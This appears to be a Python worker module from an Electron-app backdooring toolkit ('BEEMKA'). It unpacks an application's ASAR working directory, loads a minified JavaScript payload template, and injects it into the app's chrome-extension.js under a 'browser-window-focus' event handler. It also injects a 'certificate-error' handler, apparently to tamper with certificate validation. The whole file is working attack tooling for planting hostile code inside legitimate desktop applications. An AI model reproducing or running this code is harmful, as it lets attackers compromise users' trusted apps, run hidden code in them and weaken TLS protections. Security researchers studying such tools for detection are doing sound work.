import pprint, os, jsmin class worker: def __init__(self, utils): self.utils = utils def run(self, worker_data): module = worker_data['module'] module_data = worker_data['module_data'] asar_working_path = worker_data['asar_working_path'] # First we need to generate the JS variables that we will inject into the base.js script. js_variables = "\n".join(self.utils.generate_js_variable(module_data)) file_to_inject = os.path.join(asar_working_path, 'browser', 'chrome-extension.js') if os.path.isfile(file_to_inject) is False: return False file_contents = self.utils.load_file(file_to_inject) # Get the JavaScript payload. js_payload = self.utils.load_file(os.path.join(module['path'], 'templates', 'code.js')) js_payload = js_payload.replace("%BEEMKA_VARIABLE_PLACEHOLDER%", js_variables) js_payload = jsmin.jsmin(js_payload).replace('"', '\\"').replace("\n", "").replace("\r", "") # Get the event payload. browser_payload = self.utils.load_file(os.path.join(module['path'], 'templates', 'browser-window-focus.js')) browser_param = 'bWindow' if self.utils.event_exists(file_contents, 'app.on', 'browser-window-focus'): # We need to get the name of the 'browser' variable. function_definition = self.utils.get_function_definition(file_contents, 'app.on', 'browser-window-focus') browser_param = self.utils.get_function_positional_argument(function_definition, 2) browser_payload = browser_payload.replace('%BROWSER_WINDOW%', browser_param) payload = browser_payload.replace('%PAYLOAD%', js_payload) file_contents = self.utils.inject_code(file_contents, 'app.on', 'browser-window-focus', payload, "app.on('browser-window-focus', function (event, bWindow) {\n\n%FUNCTION_CODE%\n\n});") certificate_payload = self.utils.load_file(os.path.join(module['path'], 'templates', 'certificate-error.js')) file_contents = self.utils.inject_code(file_contents, 'app.on', 'certificate-error', certificate_payload, "app.on('certificate-error', (event, webContents, url, error, certificate, callback) => { %FUNCTION_CODE% });") with open(file_to_inject, 'w') as f: f.write(file_contents) return True